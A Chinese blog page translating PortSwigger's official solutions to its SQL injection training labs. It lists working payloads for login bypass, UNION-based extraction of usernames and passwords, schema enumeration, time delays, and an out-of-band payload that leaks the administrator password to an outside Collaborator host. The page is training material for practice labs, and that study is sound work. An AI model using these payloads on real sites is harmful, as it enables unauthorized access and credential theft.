某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

    • 服务器端主题
    • SQL注入

      • SQL注入
      • SQL注入-UNION攻击
      • SQL注入-检查数据库信息
      • SQL注入-盲注
      • SQL注入备忘单
      • 实验室参考答案
        • 实验室1(WHERE子句-检索隐藏数据)
        • 实验室2(绕过登录的SQL注入)
        • 实验室3(UNION攻击-确定查询返回的列数)
        • 实验室4(UNION攻击-查找包含文本的列)
        • 实验室5(UNION攻击-从其他表中检索数据)
        • 实验室6(UNION攻击-在单个列中检索多个值)
        • 实验室7(SQL注入攻击-查询Oracle的数据库类型和版本)
        • 实验室8(SQL注入攻击-查询MySQL和Microsoft的数据库类型和版本)
        • 实验室9(SQL注入攻击-在非Oracle数据库上列出数据库内容)
        • 实验室10(SQL注入攻击-在Oracle上列出数据库内容)
        • 实验室11(SQL盲注-条件响应)
        • 实验室12(SQL盲注-条件错误)
        • 实验室13(SQL盲注-时间延迟)
        • 实验室14(SQL盲注-时间延迟和信息检索)
        • 实验室15(SQL盲注-带外交互)
        • 实验室16(SQL盲注-带外数据泄露)
        • 实验室17(SQL编码注入-通过XML编码绕过过滤器)
    • 身份验证

    • 目录遍历

    • OS命令注入

    • 业务逻辑漏洞

    • 信息泄露

    • 访问控制

    • 文件上传漏洞

    • 条件竞争

    • 服务端请求伪造(SSRF)

    • XML外部实体(XXE)注入

    • NoSQL注入

    • API测试

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

  • BurpSuite及官方实验室
  • 服务器端主题(翻译)
  • SQL注入
clincat
2023-05-04
目录

实验室参考答案

# SQL注入实验室 - 官方参考答案

查看所有实验室:https://portswigger.net/web-security/all-labs (opens new window)

# 实验室1(WHERE子句-检索隐藏数据)

点击查看
  1. 使用 Burp Suite 截获并修改 “产品类别筛选器” 的请求。
  2. 修改category参数,为其赋值:'+OR+1=1--
  3. 提交请求,并验证响应现在是否包含其他项目。

# 实验室2(绕过登录的SQL注入)

点击查看
  1. 使用 Burp Suite 拦截和修改登录请求。
  2. 修改username参数,为其赋值:administrator'--

# 实验室3(UNION攻击-确定查询返回的列数)

点击查看
  1. 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
  2. 修改category参数,为其赋值:'+UNION+SELECT+NULL-- 并观察发生的错误。
  3. 修改category参数,添加包含 null 的附加列: '+UNION+SELECT+NULL,NULL--
  4. 继续添加空值,直到错误消失,并且响应包含空值的其他内容。

# 实验室4(UNION攻击-查找包含文本的列)

点击查看
  1. 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
  2. 确定查询返回的列数。验证查询是否返回三列,在category参数中使用以下有效负载: '+UNION+SELECT+NULL,NULL,NULL--
  3. 尝试将每个 null 替换为实验室提供的随机值,例如: '+UNION+SELECT+'abcdef',NULL,NULL--
  4. 如果发生错误,请转到下一个 null 并尝试替换该空值。

# 实验室5(UNION攻击-从其他表中检索数据)

点击查看
  1. 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
  2. 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,这两列都包含文本,在 category 参数中使用如下所示的有效负载: '+UNION+SELECT+'abc','def'--
  3. 使用以下有效负载 来检索users表的内容: '+UNION+SELECT+username,+password+FROM+users--
  4. 验证应用程序的响应 是否包含用户名和密码。

# 实验室6(UNION攻击-在单个列中检索多个值)

点击查看
  1. 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
  2. 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,其中只有一列包含文本,在category参数中使用如下所示的有效负载: '+UNION+SELECT+NULL,'abc'--
  3. 使用以下有效负载 来检索users表的内容: '+UNION+SELECT+NULL,username||'~'||password+FROM+users--
  4. 验证应用程序的响应 是否包含用户名和密码。

# 实验室7(SQL注入攻击-查询Oracle的数据库类型和版本)

点击查看
  1. 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
  2. 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载: '+UNION+SELECT+'abc','def'+FROM+dual--
  3. 使用以下有效载荷 来显示数据库版本: '+UNION+SELECT+BANNER,+NULL+FROM+v$version--

# 实验室8(SQL注入攻击-查询MySQL和Microsoft的数据库类型和版本)

点击查看
  1. 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
  2. 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载: '+UNION+SELECT+'abc','def'#
  3. 使用以下有效载荷 来显示数据库版本: '+UNION+SELECT+@@version,+NULL#

# 实验室9(SQL注入攻击-在非Oracle数据库上列出数据库内容)

点击查看
  1. 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
  2. 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载: '+UNION+SELECT+'abc','def'--
  3. 使用以下有效负载 来检索数据库中的表: '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
  4. 查找包含用户凭据的表名称。
  5. 使用以下有效负载(替换表名)来检索表中列的详细信息: '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='表名'--
  6. 查找包含用户名和密码的列名称。
  7. 使用以下有效负载(替换表名和列名)来检索所有用户的用户名和密码: '+UNION+SELECT+列名1,+列名2+FROM+表名--
  8. 找到administrator用户的密码,使用其账号密码进行登录。

# 实验室10(SQL注入攻击-在Oracle上列出数据库内容)

点击查看
  1. 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
  2. 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载: '+UNION+SELECT+'abc','def'+FROM+dual--
  3. 使用以下有效负载 来检索数据库中的表: '+UNION+SELECT+table_name,NULL+FROM+all_tables--
  4. 查找包含用户凭据的表名称。
  5. 使用以下有效负载(替换表名)来检索表中列的详细信息: '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='表名'--
  6. 查找包含用户名和密码的列名称。
  7. 使用以下有效负载(替换表名和列名)来检索所有用户的用户名和密码: '+UNION+SELECT+列名1,+列名2+FROM+表名--
  8. 找到administrator用户的密码,使用其账号密码进行登录。

# 实验室11(SQL盲注-条件响应)

太长了,以后再翻译吧...(懒)

点我 (opens new window)查看原文(英文),用翻译软件自己看吧。

# 实验室12(SQL盲注-条件错误)

太长了,以后再翻译吧...(懒)

点我 (opens new window)查看原文(英文),用翻译软件自己看吧。

# 实验室13(SQL盲注-时间延迟)

点击查看
  1. 访问商店的首页,并使用 Burp Suite 拦截和修改 cookie 中包含TrackingId参数的请求。
  2. 修改 cookie 中的TrackingId,改为: TrackingId=x'||pg_sleep(10)--
  3. 提交请求并观察应用程序,需要 10 秒才能响应。

# 实验室14(SQL盲注-时间延迟和信息检索)

太长了,以后再翻译吧...(懒)

点我 (opens new window)查看原文(英文),用翻译软件自己看吧。

# 实验室15(SQL盲注-带外交互)

点击查看
  1. 访问商店的首页,并使用 Burp Suite 拦截和修改 cookie 中包含TrackingId参数的请求。
  2. 修改 cookie 中的TrackingId,将其更改为 可以触发与 Collaborator服务器 交互的有效负载。例如,您可以将SQL注入与基本的XXE (opens new window)技术结合使用,如下所示: TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//子域名/">+%25remote%3b]>'),'/l')+FROM+dual--
  3. 右键单击并选择 “Insert Collaborator payload” ,在攻击载荷对应的位置,插入 Burp Collaborator 子域。

这里描述的解决方案 足以触发 DNS 查找,从而解决实验问题。在实际情况中,您将使用 Burp Collaborator 来验证您的有效负载 是否确实触发了 DNS 查找,并可能利用此行为从应用程序中泄露敏感数据。我们将在下个实验中介绍这个技术。

# 实验室16(SQL盲注-带外数据泄露)

点击查看
  1. 访问商店的首页,并使用Burp Suite Professional (opens new window)拦截和修改 cookie 中包含TrackingId参数的请求。
  2. 修改TrackingId cookie,将其更改为有效负载,该有效负载 可以在与 Collaborator服务器 的交互中泄露管理员的密码。例如,您可以将 SQL注入 与基本的XXE (opens new window)技术结合使用,如下所示: TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.子域名/">+%25remote%3b]>'),'/l')+FROM+dual--
  3. 右键单击并选择 “Insert Collaborator payload” ,在攻击载荷对应的位置,插入 Burp Collaborator 子域。
  4. 转到 “Collaborator” 选项卡,然后单击 “Poll now” 。如果没有看到任何交互信息,请等待几秒钟,然后重试,因为服务器端查询是异步执行的。
  5. 您应该看到一些 DNS 和 HTTP 交互,它们是由应用程序发起的,是有效负载的结果。administrator用户的密码应该出现在交互的子域中,您可以在 Collaborator选项卡 中查看此密码。对于 DNS 交互,查找的完整域名显示在 Description选项卡 中。对于 HTTP 交互,完整的域名显示在 Request to Collaborator 选项卡的 Host 头中。
  6. 在浏览器中,单击 “My account” 以打开登录页面。使用密码并以administrator用户身份登录。

# 实验室17(SQL编码注入-通过XML编码绕过过滤器)

太长了,以后再翻译吧...(懒)

点我 (opens new window)查看原文(英文),用翻译软件自己看吧。

编辑 (opens new window)
SQL注入备忘单
身份验证漏洞

← SQL注入备忘单 身份验证漏洞→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式